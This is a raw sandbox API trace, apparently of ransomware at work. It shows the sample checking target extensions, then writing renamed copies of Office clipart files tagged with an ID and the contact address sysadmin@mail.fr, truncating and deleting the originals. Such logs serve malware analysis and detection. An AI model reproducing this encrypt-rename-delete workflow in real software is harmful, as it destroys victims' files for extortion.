	[0053.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0053.207] lstrlenW (lpString=".jpg") returned 4
	[0053.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.207] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.207] lstrlenW (lpString="AN04369_.WMF") returned 12
	[0053.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.599] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4808) returned 1
	[0053.599] CloseHandle (hObject=0x35c) returned 1
	[0053.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220
	[0053.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.600] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.600] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0053.601] GetLastError () returned 0x0
	[0053.601] ReadFile (in: hFile=0x35c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x12c8, lpOverlapped=0x0) returned 1
	[0053.602] WriteFile (in: hFile=0x384, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x12d0, lpOverlapped=0x0) returned 1
	[0053.602] ReadFile (in: hFile=0x35c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.603] WriteFile (in: hFile=0x384, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.603] SetEndOfFile (hFile=0x384) returned 1
	[0053.603] CloseHandle (hObject=0x384) returned 1
	[0053.604] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.604] SetEndOfFile (hFile=0x35c) returned 1
	[0053.607] CloseHandle (hObject=0x35c) returned 1
	[0053.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1
	[0053.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.607] lstrlenW (lpString=".doc") returned 4
	[0053.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString=".docx") returned 5
	[0053.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.608] lstrlenW (lpString=".pdf") returned 4
	[0053.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString=".xls") returned 4
	[0053.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.608] lstrlenW (lpString=".xlsx") returned 5
	[0053.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.608] lstrlenW (lpString=".ppt") returned 4
	[0053.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.608] lstrlenW (lpString=".zip") returned 4
	[0053.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.608] lstrlenW (lpString=".rar") returned 4
	[0053.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString=".bz2") returned 4
	[0053.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString=".7z") returned 3
	[0053.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.608] lstrlenW (lpString=".dbf") returned 4
	[0053.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.608] lstrlenW (lpString=".1cd") returned 4
	[0053.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.608] lstrlenW (lpString=".jpg") returned 4
	[0053.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.608] lstrlenW (lpString=".doc") returned 4
	[0053.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.608] lstrlenW (lpString=".docx") returned 5
	[0053.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.608] lstrlenW (lpString=".pdf") returned 4
	[0053.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.609] lstrlenW (lpString=".xls") returned 4
	[0053.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.609] lstrlenW (lpString=".xlsx") returned 5
	[0053.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.609] lstrlenW (lpString=".ppt") returned 4
	[0053.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.609] lstrlenW (lpString=".zip") returned 4
	[0053.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.609] lstrlenW (lpString=".rar") returned 4
	[0053.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.609] lstrlenW (lpString=".bz2") returned 4
	[0053.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.609] lstrlenW (lpString=".7z") returned 3
	[0053.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.609] lstrlenW (lpString=".dbf") returned 4
	[0053.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.609] lstrlenW (lpString=".1cd") returned 4
	[0053.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68
	[0053.609] lstrlenW (lpString=".jpg") returned 4
	[0053.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.609] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.609] lstrlenW (lpString="BD06200_.WMF") returned 12
	[0053.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.610] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16676) returned 1
	[0053.610] CloseHandle (hObject=0x35c) returned 1
	[0053.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220
	[0053.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0053.610] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.610] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0053.611] GetLastError () returned 0x0
	[0053.611] ReadFile (in: hFile=0x35c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4124, lpOverlapped=0x0) returned 1
	[0053.640] WriteFile (in: hFile=0x384, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4130, lpOverlapped=0x0) returned 1
	[0053.641] ReadFile (in: hFile=0x35c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.641] WriteFile (in: hFile=0x384, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.641] SetEndOfFile (hFile=0x384) returned 1
	[0053.641] CloseHandle (hObject=0x384) returned 1
	[0053.642] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.642] SetEndOfFile (hFile=0x35c) returned 1
	[0053.643] CloseHandle (hObject=0x35c) returned 1
	[0053.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1
	[0053.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString=".doc") returned 4
	[0053.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString=".docx") returned 5
	[0053.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.644] lstrlenW (lpString=".pdf") returned 4
	[0053.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString=".xls") returned 4
	[0053.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.644] lstrlenW (lpString=".xlsx") returned 5
	[0053.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.644] lstrlenW (lpString=".ppt") returned 4
	[0053.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString=".zip") returned 4
	[0053.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.644] lstrlenW (lpString=".rar") returned 4
	[0053.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString=".bz2") returned 4
	[0053.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString=".7z") returned 3
	[0053.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString=".dbf") returned 4
	[0053.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString=".1cd") returned 4
	[0053.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString=".jpg") returned 4
	[0053.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.644] lstrlenW (lpString=".doc") returned 4
	[0053.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.644] lstrlenW (lpString=".docx") returned 5
	[0053.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.644] lstrlenW (lpString=".pdf") returned 4
	[0053.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.645] lstrlenW (lpString=".xls") returned 4
	[0053.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.645] lstrlenW (lpString=".xlsx") returned 5
	[0053.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.645] lstrlenW (lpString=".ppt") returned 4
	[0053.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.645] lstrlenW (lpString=".zip") returned 4
	[0053.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.645] lstrlenW (lpString=".rar") returned 4
	[0053.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.645] lstrlenW (lpString=".bz2") returned 4
	[0053.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.645] lstrlenW (lpString=".7z") returned 3
	[0053.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.645] lstrlenW (lpString=".dbf") returned 4
	[0053.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.645] lstrlenW (lpString=".1cd") returned 4
	[0053.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68
	[0053.645] lstrlenW (lpString=".jpg") returned 4
	[0053.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.645] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.646] lstrlenW (lpString="BD07761_.WMF") returned 12
	[0053.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.658] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=26748) returned 1
	[0053.658] CloseHandle (hObject=0x398) returned 1
	[0053.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220
	[0053.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0053.659] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.659] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0053.665] GetLastError () returned 0x0
	[0053.665] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x687c, lpOverlapped=0x0) returned 1
	[0053.827] WriteFile (in: hFile=0x384, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x6880, lpOverlapped=0x0) returned 1
	[0053.840] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.840] WriteFile (in: hFile=0x384, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.840] SetEndOfFile (hFile=0x384) returned 1
	[0053.840] CloseHandle (hObject=0x384) returned 1
	[0053.845] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.845] SetEndOfFile (hFile=0x398) returned 1
	[0053.857] CloseHandle (hObject=0x398) returned 1
	[0053.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1
	[0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0053.887] lstrlenW (lpString=".doc") returned 4
	[0053.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.887] lstrlenW (lpString=".docx") returned 5
	[0053.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.887] lstrlenW (lpString=".pdf") returned 4
	[0053.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.887] lstrlenW (lpString=".xls") returned 4
	[0053.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.887] lstrlenW (lpString=".xlsx") returned 5
	[0053.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.887] lstrlenW (lpString=".ppt") returned 4
	[0053.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0053.887] lstrlenW (lpString=".zip") returned 4
	[0053.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.887] lstrlenW (lpString=".rar") returned 4
	[0053.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.887] lstrlenW (lpString=".bz2") returned 4
	[0053.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.887] lstrlenW (lpString=".7z") returned 3
	[0053.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0053.887] lstrlenW (lpString=".dbf") returned 4
	[0053.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0053.888] lstrlenW (lpString=".1cd") returned 4
	[0053.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68
	[0053.888] lstrlenW (lpString=".jpg") returned 4
	[0053.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.888] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.888] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.888] GetLastError () returned 0x0
	[0053.888] ReadFile (in: hFile=0x384, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x5f00, lpOverlapped=0x0) returned 1
	[0054.027] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5f10, lpOverlapped=0x0) returned 1
	[0054.028] ReadFile (in: hFile=0x384, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.028] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
